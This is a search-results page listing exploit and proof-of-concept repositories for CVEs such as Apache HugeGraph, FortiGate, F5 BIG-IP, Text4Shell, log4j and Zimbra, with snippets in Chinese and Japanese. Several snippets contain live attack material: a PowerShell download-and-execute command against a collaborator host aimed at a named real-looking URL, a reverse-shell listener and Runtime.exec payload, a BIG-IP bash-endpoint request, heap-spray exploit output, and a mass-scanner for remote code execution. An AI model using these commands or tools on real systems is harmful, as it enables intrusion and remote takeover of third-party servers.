272128 matches found
CVE-2024-27348-HugeGraph-RCE
CVE-2024-27348：Apache HugeGraph RCE（高级沙箱绕过） 一个针对 CVE-2024-27348 （Apache HugeGraph 服务器远程代码执行）的高级、高可靠性概念验证（PoC）利用程序。 与许多盲目执行命令或因 Java 的 Runtime.exec 限制而在复杂载荷上失败的公开 PoC 不同，此脚本专为实际渗透测试场景中的高可靠性 而设计。 ⚠️ 免责声明 仅供教育和授权测试目的使用。 此工具提供给安全研究人员、渗透测试人员和系统管理员，用于在授权环境中验证漏洞。作者不对任何滥用或由此工具造成的损害负责。 ✨ 功能与技术改进...
CVE-2025-64424-Coolify-
Coolify CVE-2025-64424 RCE 脆弱性ラボ レッスンプラン: Red74-Coolio-CVE-2025-64424 免責事項: このリポジトリには、意図的に脆弱性を含む Coolify バージョンが含まれており、教育目的、CTF 環境、サイバーセキュリティトレーニングを目的としています。本番環境にデプロイしたり、パブリックインターネットに公開したりしないでください。 このラボは、Coolify の 4.0.0-beta.420.7 より前のバージョンの Git リポジトリソースフィールドで見つかったコマンドインジェクション / リモートコード実行 RCE の脆弱性...
CVE-2020-0618
CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - 脆弱性のあるリンク $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex' $bytes =...
CVE-2021-41773
CVE-2021-41773 Apache HTTP Server 2.4.49 CVE-2021-41773 および 2.4.50 CVE-2021-42013 のパストラバーサル/RCE に関する通知を発行する Zeek パッケージ 参照 https://httpd.apache.org/security/vulnerabilities24.htmlCVE-2021-41773 https://httpd.apache.org/security/vulnerabilities24.htmlCVE-2021-42013...
ShadowRay-RCE-PoC-CVE-2023-48022
Rayフレームワークにおけるリモートコマンド実行の脆弱性（CVE-2023-48022）のPoC このエクスプロイトスクリプトとPoCは、vsocietyでの詳細なCVE分析のために記述されています。...
text4shell-exploit
text4shell-exploit Apache Commons Text のバージョン 例 root@kitploit: python3 text4shell.py 127.0.0.1 192.168.1.2 4444 攻撃マシンでリスナーをセットアップしてください: root@kitploit: nc -nlvp 4444 ペイロードロジック スクリプトは以下を注入します: root@kitploit: $script:javascript:java.lang.Runtime.getRuntime.exec... リバースシェルは、POST リクエストを使用して /data...
CVE-2023-27997
CVE-2023-27997 FortiGate VM64 7.2.0 はこのコードで攻撃可能です。（注意：コードは非常に馬鹿げた方法で書かれています。） 概念実証 root@kitploit: $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - not in cache + computing + loading + heap spray +...
CVE-2023-41425-wonderCMS_RCE
CVE-2023-41425-wonderCMSRCE Wonder CMS v.3.2.0～v.3.4.2におけるクロスサイトスクリプティングの脆弱性により、リモート攻撃者がinstallModuleコンポーネントにアップロードした細工されたスクリプトを介して任意のコードを実行できる可能性があります。 教育目的のみ loginURLの知識、管理者アクセス権、または管理者にXSSリンクをクリックさせる能力が必要です。 1. リポジトリをクローンする root@kitploit: git clone...
Zimbra-CVE-2022-30333
Zimbra-CVE-2022-30333 Zimbra の unrar 脆弱性。現在すでに POC が公開されているため、当方の POC を公開しても安全です。 CVE-2022-30333 Zimbra UNRAR の脆弱性。V 6.11 までの Unrar が脆弱です。.jsp シェルが検出されないようにしてください。このエクスプロイトは、デフォルトパスにインストールされた Zimbra で動作します。 webshell を rootver フォルダに配置してください。既存の shell.jsp ファイルを削除してください。次に rootver フォルダを rar...
CVE-2024-55555
Laravel Crypto Killer マススキャナー CVE-2024-55555 このスクリプトは、Invoice Ninja における認証不要のリモートコード実行 RCE 脆弱性である CVE-2024-55555 に対して脆弱な Laravel ベースのアプリケーションをマススキャンします。既知または脆弱な APPKEY 値を使用しているサイトを自動的に検出し、それらが脆弱かどうかをチェックします。 📌 動作の仕組み 1. list.txt からドメインのリストを読み込みます。 2. 各ターゲットにリクエストを送信し、Laravel で暗号化されたクッキーを取得します...
CVE-2022-24637
CVE-2022-24637 Open Web Analytics OWA - 未認証のリモートコード実行 https://vulners.com/cve/CVE-2022-24637 例 root@kitploit: python3 exploit.py -u admin -p hacker http://target.org 10.10.11.12 4444...
CVE-2022-1388
CVE-2022-1388 CVE-2022-1388 F5 BIG-IP iControl REST 认证绕过 RCE。 root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: / Connection: close, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd, X-F5-New-Authtok-Reqd, X-Forwarded-Server, X-Forwarded-Host...
wp_CVE-2020-35489_checker
wpCVE-2020-35489checker CVE-2020-35489 - 简介 wpCVE-2020-35489checker 是一个 Python 命令行工具，用于检查 WordPress 网站是否存在 CVE-2020-35489 漏洞。该漏洞源于 WordPress Contact Form 7 插件 5.3.2 之前版本中的一个安全缺陷。由于输入验证和清理不足，该漏洞使未经身份验证的攻击者能够通过表单字段上传恶意脚本，进而可能导致在受影响站点上执行远程代码。 法律警告 本脚本 "wpCVE-2020-35489checker"...
CVE-2026-23479-Redis-UAF-Proof-of-Concept
🔥 CVE-2026-23479 – Redis UAF 概念実証（PoC） Redis のunblockClientOnKey における Use‑After‑Free によるリモートコード実行 GDB 支援による悪用の概念実証（教育目的・ラボ利用のみ） 📖 概要 CVE-2026-23479 は、Redis 7.2.0 から 8.6.2 に存在する深刻な Use‑After‑Free（UAF、解放後使用） 脆弱性です。 このバグは unblockClientOnKey にあり、この関数は processCommandAndResetClient を呼び出します。 その呼び出し中に（例:...
CVE-2022-42889-Text4Shell-POC
CVE-2022-42889 Text4Shell テストスクリプト このリポジトリには、CVE ID: CVE-2022-42889 で参照される Text4Shell として知られる脆弱性のテストを自動化する Python スクリプトが含まれています。 Text4Shell CVE-2022-42889 について Text4Shell は、幅広いシステムに影響を与える深刻な脆弱性です。この脆弱性は、システムがテキスト文字列を解析する方法に存在し、任意のコードの実行や SSRF 攻撃を可能にします。この脆弱性は、細工された文字列によって悪用され、JavaScript...
log4j-CVE-2021-44228-test
log4j-CVE-2021-44228-test log4j（CVE-2021-44228）脆弱性を実行する方法を示すデモプロジェクト すぐにセットアップできるようにSpring Bootを使用しました。すべてハードコーディングされている点はご容赦ください。これは単なるPOCです。 使用方法 Java 8がインストールされていること。Mavenでビルド mvn clean package -DskipTests。以下のコマンドを別々のシェルウィンドウで実行します： root@kitploit: java -jar...
Spring4shell
Spring4shell Spring4shell...
Xstream-1.4.17
Xstream-1.4.17 （上記のXstream Demo環境は本人が構築したもので、脆弱性の悪用環境はJDK1.8u131を基準としています。現在はローカルテストとHTTPリモートでのパケット送信に対応しています） XSTREAM=1.4.17 の脆弱性再現（CVE-2021-39141、CVE-2021-39144、CVE-2021-39150、CVE-2021-39152）...
CVE-2017-9841
CVE-2017-9841 CVE-2017-9841のバッチスキャンおよびエクスプロイトスクリプト。PHPUnitはPHPベースのテストフレームワークです。PHPUnit 4.8.28より前のバージョンおよび5.6.3より前の5.xバージョンのUtil/PHP/eval-stdin.phpファイルにセキュリティ脆弱性が存在します。リモート攻撃者は、「?php」文字列で始まるHTTP POSTデータを送信することにより、この脆弱性を利用して任意のPHPコードを実行できます。...